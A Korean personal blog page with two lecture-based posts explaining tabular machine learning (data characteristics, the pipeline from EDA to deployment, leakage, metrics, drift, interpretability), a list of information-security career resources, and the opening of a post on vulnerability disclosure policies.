눙이의 인프라 메모장

[ML] Tabular - 표 형식 데이터 2

wogho — Wed, 24 Jun 2026 05:02:00 +0900

들어가며

1편에서는 Tabular 데이터가 무엇인지, 어떤 특징이 있는지, 그리고 어떤 종류의 문제에 쓰이는지를 살펴봤다. 2편에서는 실제로 머신러닝 모델을 만들기 위해 거치는 전체 파이프라인을 단계별로 이해한다.

머신러닝 파이프라인이란?

머신러닝 프로젝트는 단순히 "모델을 학습시키는" 것이 전부가 아니다. 원시 데이터가 실제 예측 서비스로 변환되기까지는 여러 단계를 거쳐야 한다. 이 흐름을 ML 파이프라인(Machine Learning Pipeline) 이라고 한다.

데이터 수집 (Data Collection)
      ↓
탐색적 데이터 분석 (EDA)
      ↓
전처리 (Preprocessing)
      ↓
모델링 (Modeling)
      ↓
평가 (Evaluation)
      ↓
배포 및 모니터링 (Deployment & Monitoring)

각 단계를 하나씩 살펴보겠다.

1단계 — 데이터 수집 (Data Collection)

모든 머신러닝의 시작은 데이터를 모으는 것이다.

여러 테이블 결합: 실제 현장 데이터는 하나의 테이블에 담겨 있지 않다. 고객 테이블, 주문 테이블, 상품 테이블 등을 연결(join)해야 한다.
외부 데이터 활용: 예를 들어 특정 시점의 타임스탬프에 날씨 정보를 결합하면 예측 정확도가 높아질 수 있다.
재현성(Reproducibility) 확보: 데이터를 언제, 어디서, 어떻게 수집했는지 명확히 문서화해야 한다. 나중에 같은 방식으로 다시 수집할 수 있어야 한다.

2단계 — 탐색적 데이터 분석 (EDA, Exploratory Data Analysis)

모델을 바로 학습시키기 전에, 데이터를 충분히 이해하는 과정이 필요하다. 이것이 EDA이다.

EDA에서 확인하는 것들:

요약 통계: 평균, 중앙값, 사분위수, 표준편차 등
결측값 패턴: 어떤 열에 결측이 많은가? 결측이 랜덤인가, 아니면 특정 조건에서만 발생하는가?
분포 시각화: 히스토그램, 커널 밀도 추정(KDE) 그래프로 각 열의 분포를 확인한다
상관관계 분석: 특성들끼리, 그리고 특성과 타겟 변수 사이의 상관관계를 파악한다
이상치 및 클래스 불균형: 극단적인 값이나 클래스 불균형이 있는지 확인한다

EDA를 통해 데이터에 대한 직관을 쌓고, 모델링 전에 잠재적 문제를 미리 파악한다.

3단계 — 전처리 (Preprocessing)

원시 데이터를 모델이 학습할 수 있는 형태로 변환하는 단계이다. 전처리는 Tabular ML에서 특히 중요하다.

핵심 원칙 — 데이터 누수(Data Leakage) 방지

전처리를 할 때 반드시 지켜야 할 규칙이 있다. 전처리 변환(예: 스케일링)은 훈련 데이터로만 학습시키고,
검증/테스트 데이터에는 그 결과를 적용만 해야 한다.
# 잘못된 방법 (데이터 누수 발생)
X = scaler.fit_transform(X) # 전체에 먼저 적용
X_train, X_test = split(X, ...)

# 올바른 방법
X_train, X_test = split(X, ...)
X_train = scaler.fit_transform(X_train)  # 훈련 데이터로만 학습
X_test  = scaler.transform(X_test)       # 테스트에는 적용만
잘못하면 모델이 미래 정보를 미리 보는 셈이 되어 실제 성능과 다른 낙관적인 평가가 나온다.

여기서 데이터 누수(Data Leakage)란?

수능 시험을 앞두고 학생이 실수로 실제 시험지를 미리 보게 됐다고 상상해보자.
당연히 모의고사에서 만점이 나온다. 하지만 이 점수는 실력이 아니다. 실전에서 새로운 문제가 나오면 여전히 못 푼다.

머신러닝에서 데이터 누수도 똑같다. 전처리 단계에서 "테스트 데이터의 정보"가 "훈련 데이터"로 흘러들어가면,
평가 점수는 높게 나오지만 실제 서비스에서는 형편없는 성능을 낸다. 연습 때만 잘하는 선수가 되는 것이다.

전처리 ①: 결측값 처리 (Handling Missing Values)

방법	설명	특징
삭제(Deletion)	결측이 있는 행/열 제거	정보 손실이 생긴다
상수 채우기	"Unknown"으로 채우기	결측 자체를 하나의 범주로 표현한다
통계적 대체	평균, 중앙값, 최빈값으로 채우기	간단하고 빠르다
모델 기반 대체	k-NN 등으로 다른 특성을 이용해 예측	정확도가 높지만 복잡하다
기본 지원	XGBoost, LightGBM 등 트리 모델은 결측을 직접 처리	별도 처리 없이도 작동한다

전처리 ②: 범주형 변수 인코딩 (Encoding Categorical Variables)

머신러닝 모델은 기본적으로 숫자를 입력받는다. 따라서 "서울", "부산", "대구" 같은 텍스트 범주를 숫자로 변환해야 한다.

방법	아이디어	특징
원-핫 인코딩 (One-Hot Encoding)	각 범주마다 0/1 이진 열을 추가	단순하고 순서를 강제하지 않는다. 하지만 범주가 많으면 열 수가 폭발적으로 늘어난다
순서 인코딩 (Ordinal Encoding)	범주를 순서 있는 정수로 매핑	티셔츠 사이즈처럼 자연스러운 순서가 있을 때 유용하다
타겟 인코딩 (Target Encoding)	각 범주를 그 범주의 평균 타겟값으로 대체	정보량이 많다. 과적합 위험에 주의해야 한다
임베딩 인코딩 (Embedding)	각 범주에 대한 벡터 표현을 학습	딥러닝 모델에서 사용한다

전처리 ③: 수치형 특성 변환 (Numerical Feature Transformations)

스케일링(Scaling): 많은 모델들(예: 선형 회귀, SVM, 신경망)은 특성의 크기에 민감하다.

나이(0~100)와 연봉(0~1억)이 그대로 입력되면 연봉 열이 모델을 지배해버린다.

표준화(Standardization): $x' = \frac{x - \mu}{\sigma}$ — 평균을 0, 표준편차를 1로 만든다
최솟값-최댓값 정규화(Min-Max Scaling): $x' = \frac{x - \min}{\max - \min}$ — 0과 1 사이로 변환한다

단, 의사결정 트리 기반 모델(XGBoost, LightGBM 등)은 스케일에 영향을 받지 않으므로 스케일링이 불필요하다.

여기서 스케일링(Scaling)이라고 한다면,
피겨스케이팅 대회에서 두 심판이 점수를 매긴다고 해보자.
한 심판은 0~10점 기준, 다른 심판은 0~1,000점 기준으로 채점한다.
두 점수를 그냥 합산하면, 1,000점 기준 심판의 점수가 결과를 거의 혼자 결정해버린다.
10점짜리 심판의 의견은 묻혀버린다.

머신러닝 모델도 마찬가지다. 나이(0~100)와 연봉(0~1억)을 그대로 쓰면,연봉이 모델의 판단을 지배한다.
스케일링은 이 심판들의 채점 기준을 동일하게 맞추는 작업이다.

분포 변환(Distribution Transformation):

로그 변환(Log Transform): 수입, 가격, 카운트처럼 오른쪽으로 긴 꼬리(right-skewed)를 가진 분포에 효과적이다
분위수 변환(Quantile Transform): 값을 분포 내 순위로 변환한다. 이상치에 강건(robust)하다

구간화(Binning/Discretization): 연속형 수치를 구간으로 나누는 방법으로, 선형 모델이 비선형 패턴을 잡는 데 도움을 준다.

전처리 ④: 피처 엔지니어링 (Feature Engineering)

도메인 지식을 활용해 원시 데이터에서 새로운 유용한 특성을 직접 만들어내는 작업이다. 모델이 스스로 학습하기 어려운 패턴을 사람이 직접 표현해주는 것이다.

패턴	예시
집계(Aggregations)	최근 30일 평균 구매 금액
비율(Ratios)	부채-소득 비율 (Debt-to-Income Ratio)
시간 차이	마지막 로그인 이후 경과 일수
날짜 분해	월, 요일, 공휴일 여부
상호작용(Interactions)	가격 × 수량 = 총 매출
도메인 특화	의료에서 BMI, 금융에서 각종 재무 지표

피처 엔지니어링은 때로 모델 선택보다 더 큰 성능 차이를 만들어낸다.

여기서 피처 엔지니어링는
형사가 용의자를 수사할 때, 원시 증거만 나열하는 것과 단서를 조합해서 새로운 사실을 끌어내는 것은 전혀 다르다.
"용의자가 은행 근처에 있었다" + "그날 큰 금액을 인출했다" + "평소와 다른 경로로 이동했다" → "수상한 금융 활동" 이라는 강력한 단서가 된다.

피처 엔지니어링도 이와 같다. 날짜에서 "공휴일 여부"를 추출하거나, 가격과 수량을 곱해 "총 매출"을 만드는 것처럼, 원시 데이터에서 숨겨진 의미를 꺼내 모델이 더 쉽게 배울 수 있도록 돕는다.

4단계 — 모델링 (Modeling)

전처리된 데이터로 실제 모델을 선택하고 학습시키는 단계이다. Tabular 데이터에 사용되는 주요 모델 계열은 다음과 같다.

모델 유형	예시	특징
선형/로지스틱 회귀	Linear Regression, Logistic Regression	해석이 쉽고 기준선(baseline)으로 적합하다
트리 기반 앙상블	XGBoost, LightGBM, CatBoost	Tabular ML에서 대부분의 현실 문제에 강력하다
딥러닝 / 기반 모델	신경망, LLM, TabPFN	대규모 데이터나 새로운 패러다임에서 주목받고 있다

현재 많은 현실 문제에서는 XGBoost, LightGBM, CatBoost 같은 그래디언트 부스팅(Gradient Boosting) 계열 트리 앙상블 모델이 최고의 성능을 보인다. 이 모델들은 Kaggle 같은 데이터 경진대회에서도 압도적으로 많이 쓰인다.

5단계 — 평가 (Evaluation)

좋은 모델을 만들기 위해서는 신뢰할 수 있는 평가가 필수다.

교차 검증 (Cross-Validation, CV)

데이터를 단순히 훈련/테스트로 나누는 것보다 더 신뢰할 수 있는 방법이다. 데이터를 여러 개의 폴드(fold)로 나누고, 돌아가며 검증 세트로 사용한다.

전체 데이터
├── 훈련 데이터 ──→ CV로 하이퍼파라미터 최적화 ──→ 최적 모델
└── 별도 테스트 세트 ──→ 최종 성능 평가 (딱 한 번만!)

흔한 함정들:

훈련-테스트 오염: 전처리에서 테스트 데이터 정보가 훈련에 흘러들어가는 것
단일 검증 세트 과적합: 하나의 검증 세트로만 수천 번의 하이퍼파라미터 조합을 시험하면,
그 검증 세트에 특화된 모델이 나온다

평가 지표 (Evaluation Metrics)

문제 유형에 맞는 지표를 선택해야 한다.

회귀(Regression) 지표:

MAE (Mean Absolute Error): 평균 절대 오차. 직관적으로 이해하기 쉽다
MSE (Mean Squared Error): 평균 제곱 오차. 큰 오차에 더 큰 패널티를 준다
R² Score: 모델이 데이터의 분산을 얼마나 설명하는지.
$R^2 = 1 - \frac{\sum(y_i - \hat{y}_i)^2}{\sum(y_i - \bar{y})^2}$

분류(Classification) 지표:

지표	계산식	의미
정확도 (Accuracy)	(TP + TN) / 전체	전체 중 맞춘 비율
정밀도 (Precision)	TP / (TP + FP)	"양성"이라고 예측한 것 중 실제 양성 비율
재현율 (Recall)	TP / (TP + FN)	실제 양성 중 맞게 예측한 비율
F1 Score	Precision과 Recall의 조화 평균	둘의 균형

AUC-ROC: 임계값에 관계없이 모델의 전반적 변별력을 측정한다
AUC-PR (Precision-Recall): 클래스 불균형이 심할 때 AUC-ROC보다 더 유용하다

문제에 맞는 지표 선택이 중요하다

문제 유형	추천 지표	이유
사기 탐지 (희귀 양성)	PR-AUC, 고정 정밀도에서의 재현율	정확도는 의미없다 (99%가 정상이면 모두 정상이라 해도 99% 정확)
의료 검진 (놓치면 심각)	Recall (재현율) 최적화	환자를 놓치는 것이 치명적이다
스팸 필터 (오탐이 비용)	Precision (정밀도) 최적화	정상 메일을 스팸으로 분류하는 것이 더 나쁘다

최선의 지표는 현실에서 오류 비용을 가장 잘 반영하는 지표이다.

6단계 — 배포 및 모니터링 (Deployment & Monitoring)

좋은 모델을 만들었다고 해서 끝이 아니다. 실제 서비스에 적용하고 지속적으로 관리해야 한다.

배포 시 고려사항:

배치(Batch) vs 온라인(Online) 추론: 대량 데이터를 한꺼번에 처리할지, 요청이 올 때마다 실시간으로 처리할지 결정한다
학습-배포 일관성: 학습 때 적용한 전처리 단계가 배포 환경에서도 반드시 동일하게 적용되어야 한다. 그렇지 않으면 모델이 이상한 값을 예측한다

모니터링 항목:

데이터 드리프트(Data Drift): 입력 데이터의 분포가 시간이 지나며 변한다 (예: 고객 행동 패턴의 변화)
컨셉 드리프트(Concept Drift): 입력-출력 관계 자체가 변한다 (예: 경제 상황 변화로 인한 신용 기준 변화)
성능 저하(Performance Degradation): 실시간 지표가 학습 때보다 떨어지는지 모니터링한다
공정성 지표(Fairness Metrics): 특정 집단에 대한 차별적 예측이 발생하지 않는지 확인한다

문제가 감지되면 모델을 재학습하거나 업데이트해야 한다.

데이터 드리프트는
2019년에 만들어진 내비게이션 지도로 2026년 도로를 달린다고 상상해보자.
그사이 새 도로가 생기고, 일방통행이 바뀌고, 공사 구간이 추가됐다. 내비게이션은 자신있게 길을 안내하지만,
현실과 점점 어긋난다.

머신러닝 모델도 같다. 세상은 계속 변하는데 모델은 과거 데이터로만 학습되어 있다.
데이터 드리프트는 입력 데이터의 분포가 바뀌는 것이고,

컨셉 드리프트는 "이런 패턴이면 이런 결과"라는 관계 자체가 바뀌는 것이다. 모델을 배포하고 끝이 아니라, 지속적으로 지도를 업데이트해야 한다.

해석 가능성 (Interpretability)

높은 예측 성능만으로는 충분하지 않을 때가 많다. 특히 금융, 의료, 법률 분야에서는 왜 그런 예측을 했는지 설명할 수 있어야 한다.

해석 가능성
병원에서 의사가 "당신은 암일 확률이 87%입니다"라고 말한다. 환자가 "왜요?"라고 물었더니 의사가 "AI가 그렇게 판단했어요" 라고만 답한다.

납득할 수 있는가? 대출 심사에서 "당신의 대출은 거절됐습니다"라는 결과만 주고 이유를 알려주지 않는다면?
법적으로도, 도덕적으로도 문제가 된다.

해석 가능성은 "모델이 왜 이 예측을 했는지 인간이 이해할 수 있게 만드는 것" 이다.
성능이 아무리 좋아도 설명할 수 없다면, 실제 현장에서 신뢰받기 어렵다.

두 가지 수준의 해석이 필요하다:

전역(Global) 해석: 모델 전체에서 어떤 특성이 중요한가?
지역(Local) 해석: 이 특정 샘플에 대해 왜 이런 예측이 나왔는가?

주요 기법:

기법	설명
순열 중요도 (Permutation Importance)	특정 특성을 무작위로 섞었을 때 성능이 얼마나 떨어지는지 측정한다. 많이 떨어질수록 중요한 특성이다
SHAP	각 특성이 개별 예측에 얼마나 기여했는지 수치로 계산한다. 트리 기반 모델에 특히 효율적으로 계산된다

도구 및 데이터셋

Tabular ML을 시작하기 위한 실용적인 자원을 소개한다.

주요 라이브러리:

NumPy, Pandas: 데이터 처리의 기본
scikit-learn: 전처리, 모델링, 평가를 포괄하는 파이썬 ML 표준 라이브러리
XGBoost, LightGBM, CatBoost: 그래디언트 부스팅 트리 앙상블
Optuna: AutoML, 하이퍼파라미터 최적화
PyTorch: 딥러닝

공개 데이터셋 및 벤치마크:

Kaggle: 실제 기업 문제를 다루는 최대 데이터 경진대회 플랫폼
UCI Machine Learning Repository: 고전적인 ML 벤치마크 데이터셋 모음
OpenML: 오픈소스 ML 실험 공유 플랫폼
AI Hub: 한국 AI 데이터 허브

앞으로의 여정 — 강의 로드맵

이 글에서 다룬 내용은 Tabular ML의 입문이다. 이후 배울 내용들을 미리 살펴보면:

고전적 ML 모델 — 결정 트리, 랜덤 포레스트, 그래디언트 부스팅 등
딥러닝 아키텍처 — Tabular 데이터를 위한 신경망 구조
Tabular 표현 학습 — 비지도 사전학습을 통한 성능 향상
LLM과 Tabular 데이터 — 대형 언어 모델을 테이블 문제에 적용하기
새로운 패러다임: TabPFN — 소규모 Tabular 데이터를 위한 사전 학습된 트랜스포머

마무리

Tabular ML 파이프라인을 정리하면 다음과 같다.

데이터 수집 → EDA → 전처리 → 모델링 → 평가 → 배포 및 모니터링

각 단계가 독립적이지 않고 서로 긴밀하게 연결되어 있다. 특히:

전처리는 모델만큼 중요하다. 데이터 누수 없이 잘 만들어진 전처리가 성능을 크게 좌우한다.
평가 프로토콜은 모델 선택만큼 중요하다. 신뢰할 수 없는 평가로는 올바른 모델을 선택할 수 없다.
해석 가능성과 모니터링은 실제 서비스 환경에서 필수적이다.

Tabular 데이터는 가장 흔하면서도, 잘 다루기 위해서는 도메인 지식과 ML 지식을 균형 있게 갖춰야 하는 분야이다. 앞으로의 강의에서 각 주제를 더 깊이 파고들 예정이다.

참고: 성균관대학교 Efficient Learning Lab, Hankook Lee 교수 강의 자료 기반

[ML] Tabular - 표 형식 데이터 1

wogho — Wed, 24 Jun 2026 04:15:22 +0900

들어가며

머신러닝이라는 단어를 들으면 많은 사람들이 고양이와 개를 구분하는 이미지 인식 모델이나, 유창하게 대화를 이어가는 ChatGPT 같은 AI를 떠올린다. 하지만 실제 기업과 현장에서 가장 많이 쓰이는 데이터 형식은 따로 있다. 바로 테이블(Tabular) 데이터이다.

이 글에서는 테이블 데이터가 무엇인지, 왜 다루기 어려운지, 그리고 어떤 문제들을 풀 수 있는지를 비전공자도 이해할 수 있는 수준으로 설명한다.

Tabular 데이터란 무엇인가?

Tabular(테이블형) 데이터란, 이름 그대로 행(row)과 열(column)로 이루어진 표 형태의 데이터이다. 엑셀이나 구글 스프레드시트를 떠올리면 바로 이해된다.

행(Row): 하나의 관측값, 즉 데이터 한 건을 나타낸다.
예를 들어 고객 한 명, 거래 한 건, 환자 한 명이 각각 하나의 행이 된다.
열(Column): 각 관측값이 가진 속성(feature)을 나타낸다.
예를 들어 나이, 요금, 계약 유형, 사용 기간 같은 정보들이다.
타겟(Target): 예측하고 싶은 값이 담긴 특별한 열이다.
예를 들어 "고객이 서비스를 해지했는가(Yes/No)" 같은 것이다.

아래 예시 표를 보면 직관적으로 이해된다.

ID	나이	월 요금	계약 유형	사용 기간(월)	해지 여부
1	34	$75	월정액	6	Yes
2	52	$45	2년 약정	48	No
3	28	$120	월정액	2	Yes
4	41	$60	1년 약정	24	No

이런 형식이 바로 Tabular 데이터이다. 우리가 일상에서 접하는 거의 모든 데이터베이스가 이 형식으로 저장된다.

Tabular 데이터의 특징들 — 왜 이게 어렵나?

이미지나 텍스트 데이터를 다루는 딥러닝이 워낙 유명하다 보니,

Tabular 데이터는 "그냥 표니까 쉽겠지"라고 오해하기 쉽다. 하지만 실제로는 독특한 도전 과제들이 존재한다.

1. 열마다 데이터 종류가 다르다 (이질적인 특성)

이미지 데이터는 모든 픽셀이 0~255 사이의 숫자라는 동일한 형식을 갖는다.

하지만 Tabular 데이터는 하나의 행 안에 완전히 다른 종류의 정보가 섞여 있다.

데이터 유형	예시
수치형 (Numerical)	나이, 가격, 온도, 자녀 수
범주형 (Categorical)	국가, 색상, 카테고리, 학력 수준
이진형 (Binary)	Yes/No, True/False, 0/1
날짜/시간형 (Datetime)	타임스탬프, 날짜
자유 텍스트 (Text)	사용자 후기
기타	이미지, 동영상

모든 열이 서로 다른 통계적 성질을 갖기 때문에, 모델은 이 이질성을 모두 처리할 수 있어야 한다.

2. 열의 순서가 의미가 없다 (공간·순서 구조 없음)

이미지에서는 인접한 픽셀끼리 연관이 있다. 텍스트에서는 단어의 순서가 의미를 만든다. 그래서 이미지에는 CNN(합성곱 신경망)이, 텍스트에는 RNN이나 Transformer가 잘 맞는다.

반면 Tabular 데이터는 열의 순서에 특별한 의미가 없다. "나이" 열과 "연봉" 열의 순서를 바꾼다고 해서 데이터의 의미가 달라지지 않는다. 따라서 Tabular 데이터용 모델은 열의 순서에 관계없이 같은 결과를 내야 한다.

이를 순열 불변성(permutation invariance)이라고 한다.

3. 데이터 양이 적다 (소규모~중규모 데이터셋)

이미지나 텍스트용 딥러닝 모델은 수십억 개의 샘플로 학습된다. 하지만 현실의 Tabular 데이터셋은 고작 수천 행인 경우가 많고, 열의 수도 수십~수천 개에 불과하다.

데이터가 적으면:

복잡한 딥러닝 모델은 과적합(overfitting) 되기 쉽다 (학습 데이터에만 특화되고 새 데이터에는 못 씀)
오히려 귀납적 편향(inductive bias) 이 강한 모델, 즉 의사결정 트리 기반 앙상블 모델(XGBoost, LightGBM 등)이 더 잘 작동한다.

여기서 과적합(overfitting)를 비유하면,

훈련 데이터 = 기출문제 3개: 공부할 수 있는 문제가 3개밖에 없는상황
과적합 모델 = 암기 천재 학생: 학생은 머리가 너무 좋아서 문제의 개념을 이해하는 대신, 문제의 글자 크기, 점 하나, 오타까지 통째로 외워버린다.
테스트 결과 = 실전 시험 빵점: 기출문제 3개는 100점을 맞지만, 실전 시험에서 숫자나 단어가 조금만 바뀌어 나오면 아예 풀지 못한다. 보편적인 원리를 배운 게 아니라 특정 문제 자체를 외웠기 때문이다. 운용을 하지 못함.

즉, 경험한 표본이 너무 적은 상태에서 눈앞의 조건에만 완벽하게 맞추려다 보니 정작 중요한 본질(규칙)을 놓치는 현상으로

결국, 한 사람을 위한 요리사가 되는것이다.

4. 결측값이 흔하다 (Missing Values)

현실 데이터에는 빈칸이 정말 많다.

센서가 잠깐 꺼진 사이 값이 빠진다
설문 응답자가 일부 질문을 건너뛴다
여러 출처에서 데이터를 합쳤을 때 형식이 맞지 않는다

모델은 이런 불완전한 입력을 처리할 수 있어야 한다.

5. 레이블이 시끄럽고 불완전하다 (Noisy Labels)

예측 대상인 "정답(Label)"도 완벽하지 않다.

사람이 직접 붙인 레이블은 일관성이 없을 수 있다
회사 정책이 시간에 따라 바뀌면 과거 레이블과 현재 레이블의 기준이 달라진다
잘못 설계된 레이블은 데이터 누수(leakage) 를 유발한다 — 즉, 정답을 이미 알고 있는 정보가 입력 특성에 몰래 섞이는 것이다

6. 클래스 불균형이 심하다 (Class Imbalance)

많은 Tabular 예측 문제는 정답 분포가 극도로 불균형하다.

사기 거래 탐지: 전체 거래 중 사기는 0.1%에 불과하다
질병 진단: 희귀 질환 환자 수는 매우 적다
불량 제품 탐지: 불량률은 수 % 이하다

이런 상황에서 모델이 "그냥 전부 정상"이라고 예측해도 정확도가 99%가 되어버린다. 따라서 정확도(Accuracy) 외의 평가 지표가 반드시 필요하다.

여기서 클래스 불균형(Class Imbalance) 이란?
학교에서 100명 중 99명이 건강하고 1명만 아픈 상황을 생각해보자.
어떤 의사가 아무것도 검진하지 않고 모두 건강합니다 라고만 말한다면, 정확도는 무려 99%이다.

하지만 이 의사는 아무 쓸모가 없다. 정작 아픈 1명을 한 명도 못 찾아냈기 때문이다.

높은 정확도 = 좋은 모델이라는 공식은 불균형 데이터에서 완전히 무너진다.

사기 탐지, 암 진단, 불량 탐지처럼 희귀하지만 치명적인 케이스를 잡아야 하는 문제에서는 정확도 대신 다른 기준이 필요하다.

7. 도메인이 다양하고 전문 지식이 부족하다 (레퍼런스)

Tabular 데이터는 금융, 의료, 제조, 교육, 이커머스 등 어디에나 존재한다. 각 도메인마다 중요한 특성 조합(패턴)이 다르고, 그 패턴은 데이터를 분석하기 전까지 알 수 없는 경우가 많다.

정리: Tabular 데이터가 어려운 이유

특징	해결해야 할 과제
이질적인 특성 유형	서로 다른 통계적 성질 처리
공간/순서 구조 없음	순열 불변성 확보
소규모 데이터	과적합 방지, 데이터 효율성
결측값	불완전한 입력 처리
노이즈가 많은 레이블	강건성 확보, 데이터 누수 방지
클래스 불균형	다수 클래스 편향 방지
다양한 도메인	도메인 간 적응력

이처럼 Tabular 데이터는 결코 단순하지 않다. 오히려 이미지나 자연어처리(NLP) 분야와는 전혀 다른 고유한 어려움을 갖고 있다.

Tabular 데이터로 할 수 있는 일들

Tabular 데이터를 가지고 무엇을 할 수 있을까? 크게 다섯 가지 주요 작업이 있다.

1. 예측 (Prediction / Supervised Learning)

가장 많이 쓰이는 유형이다. 과거 데이터를 학습해서 새로운 데이터의 값을 예측한다.

회귀(Regression): 수치를 예측한다. 예) 집값 예측, 에너지 소비량 예측
분류(Classification): 카테고리를 예측한다. 예) 이탈 여부, 대출 부도 여부

예시 — 신용 점수(Credit Scoring)
대출 신청자의 연체율, 신용 한도 활용률, 대출 기간, 조회 횟수 등을 바탕으로 부도 위험도와 신용 점수를 예측한다.

2. 이상 탐지 (Anomaly Detection)

정상 패턴에서 벗어난 이상한 데이터를 찾아내는 작업이다. 보통 비지도학습 방식이며, 정상 데이터는 많지만 이상 사례는 매우 적거나 아예 레이블이 없다.

예시 — 신용카드 사기 탐지
평소 국내에서 소액 결제만 하던 카드가 갑자기 러시아에서 수백만 원짜리 전자제품 결제를 했다면? 이 거래가 이상 거래임을 자동으로 탐지한다.

3. 클러스터링 (Clustering)

레이블(정답) 없이 비슷한 데이터끼리 묶어주는 작업이다. 숨겨진 패턴이나 그룹 구조를 발견하는 데 쓰인다.

예시 — 고객 세분화(Customer Segmentation)
구매 금액, 방문 횟수, 온라인 구매 비율 등을 분석해 고객을 "전자제품 구매 고가값 온라인족", "식료품 구매 오프라인족", "명품 구매 저빈도족" 등으로 나눈다. 이후 각 그룹에 맞는 마케팅 전략을 짤 수 있다.

4. 테이블 질의응답 (Table Question Answering)

자연어로 질문을 입력하면 테이블에서 답을 찾아주는 작업이다. 자연어 이해 능력과 테이블 논리 추론 능력이 함께 필요하다.

예시 — 사내 매출 분석 어시스턴트
"아시아 지역 3분기 매출 합계가 얼마야?"라고 물으면, AI가 테이블을 조회해 "$1,800"이라고 답한다.

최근 대형 언어 모델(LLM)의 발전으로 이 작업이 크게 향상되었다.

5. 합성 데이터 생성 (Synthetic Data Generation)

원본 데이터의 통계적 특성은 그대로 유지하면서도 개인정보를 포함하지 않는 가짜 데이터를 만들어내는 작업이다.

예시 — 프라이버시 보호 의료 데이터 공유
실제 환자 데이터를 병원 외부에 제공하는 것은 법적으로 불가능하다. 하지만 원본과 통계적으로 동일한 가짜 환자 데이터를 생성한다면 연구자들이 자유롭게 활용할 수 있다.

Tabular 데이터는 우리 주변 어디에나 존재한다. 기업이 수집하는 데이터의 상당수, 그리고 그 데이터를 기반으로 내리는 의사결정의 대부분이 바로 이 행과 열의 표 형식을 띤다.

쉬워 보이지만 이질적인 특성, 결측값, 불균형, 소규모 데이터 등 독특한 어려움을 안고 있다. 이 때문에 Tabular ML은 이미지나 텍스트와는 전혀 다른 접근법이 필요하다.

2편에서는 실제로 Tabular 데이터를 가지고 머신러닝 모델을 학습시키는 전체 과정, 즉 데이터 수집부터 모델 배포까지의 파이프라인을 살펴본다. 또한 전처리 기법, 평가 지표, 그리고 모델의 예측을 해석하는 방법까지 다룬다.

정보보안 취업하기 메모장

wogho — Fri, 19 Jun 2026 23:19:40 +0900

Hackgem	실사례 중심의 사이버 보안교육으로 전문 보안인력을 양성하는 교육 플랫폼
KITRI	한국정보기술연구원 구 BOB, 화이트햇 주관처
한국정보보호산업협회	한국정보보호산업협회
한국암호포럼	국가 암호기술 전문인력 양성과정, 등
한국정보보호학회 한국정보보호학회 하계학술대회	한국정보보호학회 학술대회
해킹캠프	해킹과 보안에 관심을 가지고 있는 국내 학생들을 위해 국제 해킹·보안 컨퍼런스
KISA 아카데미-교육포털	KISA 아카데미 - BOB, 화이트햇, 실전형 보안 실습, 케쉴주, 등
https://findthegap.co.kr/	파인더갭, 버그 바운티, CVD
KISA 아카데미-교육신청 : 정보보안 채용정보	주간 정보보안 채용 정보
해커들의 놀이터, Dreamhack	드림핵, 워게임, CTF
brave-people/Dev-Event: 개발자 {웨비나, 컨퍼런스, 해커톤} 행사를 알려드립니다. [with 남송리 삼번지]	개발자 {웨비나, 컨퍼런스, 해커톤} 행사

https://youtu.be/zksRu6x8ZKU?si=mpotKJloP1udrzb1

https://youtu.be/IanhqUBv6f8?si=vWnqvgCnYxfZx2fm

https://youtu.be/k-auqbDYOl8?si=sJ8yYG_Ra8vNK2Jg

https://blog.naver.com/limhojin123/221210186366

나의 가장 강력한 무기는 자료관리입니다.(1편)

요즘은 인터넷이 하도 좋아서 웬만한 자료는 인터넷에 다 있습니다. 단, 어떤 용어를 써서 검색할지 모르는...

blog.naver.com

주요 정보통신기반취약점진단 스크립트 작성하기 (진단 보고서 포함)
jsp, php 이용하여 생으로 포트폴리오 홈페이지 구축하기
버그바운티 경험해보기 (중복신고 포함)
프로그래머스 코딩 배우기
자격증 취득 CPPG, 정보기, CISSP, 등등
동종업계 사람들의 경험과 이력들 찾아보기
기업에서 요구하는 요건 분석하기:

정적 / 동적 취약점 분석(SAST/DAST 상용 도구 사용)
오픈소스(SBOM) 취약점 분석
취약점 자동 진단 서비스(DAST / SAST) 개발 및 운영
SDLC 단계별 보안 강화 업무 (DevSecOps 관점)

정보보안은 IT의 전분야를 알아야 하는만큼 진입장벽이높다. 개발이든 컨설팅이든 모의해킹 취약점분석 관제 법 등등 거부감없이 공부하는것은 필수이다. 단순 코딩하기 싫다고 컨설팅이나 관제쪽으로 빠진다면 오래 살아남기 힘들다.

정보보안기사 공부는 나에게 이론을 익히는데 정말 도움이 되었다. 항상 암기하던 OSI7계층이 보안관점에서 공부하니 눈에 보이게 된것이었다. 취득하든 안하든 실무에 도움이 없든 교과서로 꾸준히 읽어보는게 중요한것같다.

AWS Security 취득하여 CISSP 1년 면제가 가능하다. 실무경력 2년과 군 경력 합쳐도 1년이 더 필요하다. 하지만 유효기간이 있기때문에 2029년 내 경력을 채울수 있을까

[버그헌팅과정 초급, CVD·VDP 시범사업] 취약점 공개 정책 (VDP)

wogho — Sun, 14 Jun 2026 07:48:38 +0900

"이웃의 뒷문이 열려있는 걸 우연히 알았다면 어떻게 할 것인가?"

물리적인 현실 세계라면, 지나가던 선량한 이웃은 주저 없이 초인종을 누르고 "뒷문이 열려 있으니 문을 닫으라"고 알려줄 것이다. 집주인 역시 고마움을 표할 것이다. 하지만 사이버 공간에서는 이 상식이 통하지 않는다. 선의를 품고 타겟 기업의 보안 취약점을 발견하여 제보하는 행위가, 자칫 '불법 해킹'이나 '영업 방해'로 간주되어 고소장으로 되돌아오는 모순이 빈번하게 발생하기 때문이다.

버그헌팅과 모의 해킹을 공부하는 수강생의 관점에서, VDP가 왜 단순한 행정 서류가 아니라 기업의 운명을 가를 수 있는 보안의 핵심 인프라인지 강의 내용을 바탕으로 깊이 있게 정리해 보았다.

1. VDP의 부재: 방치되는 선의, 커지는 보안 공백

연구자들은 특정 기업 서비스에서 치명적인 취약점을 발견했음에도 불구하고, 이를 알릴 창구가 없어 공식 트위터 계정에 대고 "제발 보안 취약점을 제보할 담당자 이메일 좀 알려달라"며 호소하고 있었다.

VDP가 구축되지 않은 기업을 상대로 취약점을 제보하는 과정은 지뢰밭을 걷는 것과 같다.

소통 채널의 단절: 홈페이지 어디를 뒤져봐도 security@company.com과 같은 공식 보안 제보 창구가 없다.
보고의 블랙홀: 일반 고객센터나 대표 메일로 취약점 리포트를 보내봤자, 해당 내용이 기술적 이해도가 없는 상담원을 거치다 누락되거나 보안 담당자에게 제대로 전달되었는지 확인할 길이 없다.
